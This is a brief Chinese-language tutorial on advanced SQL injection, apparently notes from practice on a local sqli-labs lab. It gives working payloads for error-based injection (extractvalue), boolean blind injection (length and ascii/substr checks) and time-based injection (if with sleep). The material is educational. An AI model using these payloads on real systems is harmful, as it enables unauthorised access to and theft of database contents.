sql注入进阶

报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。

注意:错误信息来自于 数据库 、 中间件 还是 Web 容器 。

extractvalue()

and extractvalue(1,concat(0x5e,(select database()),0x5e)) –+

image-20230219181516023

布尔盲注

利用页面的布尔类型状态来进行判断,⽬标获取数据库名字。

计算数据库名字的长度

?id=1’ and length(database())=8–+

image-20230219181547012

1
2
3
4
5
6
?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e

延时注入

http://127.0.0.1/sqllib/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)–+

利用sleep() 语句的延时性,以时间线作为判断条件。

计算数据库名字的长度

?id=3’ and if(length(database())=8,sleep(5),1)–+

image-20230219181637080